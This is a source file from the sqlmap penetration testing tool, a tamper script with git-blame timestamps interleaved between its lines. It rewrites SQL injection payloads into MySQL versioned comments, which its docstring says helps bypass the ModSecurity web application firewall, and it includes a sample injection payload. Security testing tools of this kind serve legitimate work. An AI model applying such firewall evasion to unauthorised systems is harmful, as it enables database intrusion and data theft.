2019-05-08 12:47:52 +02:00
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#!/usr/bin/env python
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2011-10-19 22:07:23 +00:00
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"""
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2026-01-01 19:12:07 +01:00
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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2017-10-11 14:50:46 +02:00
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See the file 'LICENSE' for copying permission
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2011-10-19 22:07:23 +00:00
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"""
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2018-02-10 11:06:31 +01:00
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import os
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2011-10-25 14:03:11 +00:00
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from lib.core.common import randomInt
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2018-02-08 16:49:16 +01:00
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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2011-10-19 22:07:23 +00:00
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHER
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def dependencies():
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2018-02-08 16:49:16 +01:00
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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2011-10-19 22:07:23 +00:00
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2012-12-03 14:27:01 +01:00
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def tamper(payload, **kwargs):
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2011-10-19 22:07:23 +00:00
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"""
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2018-07-31 01:17:11 +02:00
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Embraces complete query with (MySQL) versioned comment
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2011-10-19 22:07:23 +00:00
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Requirement:
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* MySQL
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Tested against:
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* MySQL 5.0
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Notes:
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2018-12-28 17:54:58 +01:00
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* Useful to bypass ModSecurity WAF
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2013-03-13 21:57:09 +01:00
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>>> import random
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>>> random.seed(0)
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>>> tamper('1 AND 2>1--')
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2019-05-03 13:20:15 +02:00
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'1 /*!30963AND 2>1*/--'
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2011-10-19 22:07:23 +00:00
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"""
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retVal = payload
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if payload:
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postfix = ''
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for comment in ('#', '--', '/*'):
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if comment in payload:
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postfix = payload[payload.find(comment):]
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payload = payload[:payload.find(comment)]
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break
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if ' ' in payload:
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2011-10-25 14:03:11 +00:00
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retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)
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2011-10-19 22:07:23 +00:00
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2012-10-25 10:10:23 +02:00
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return retVal
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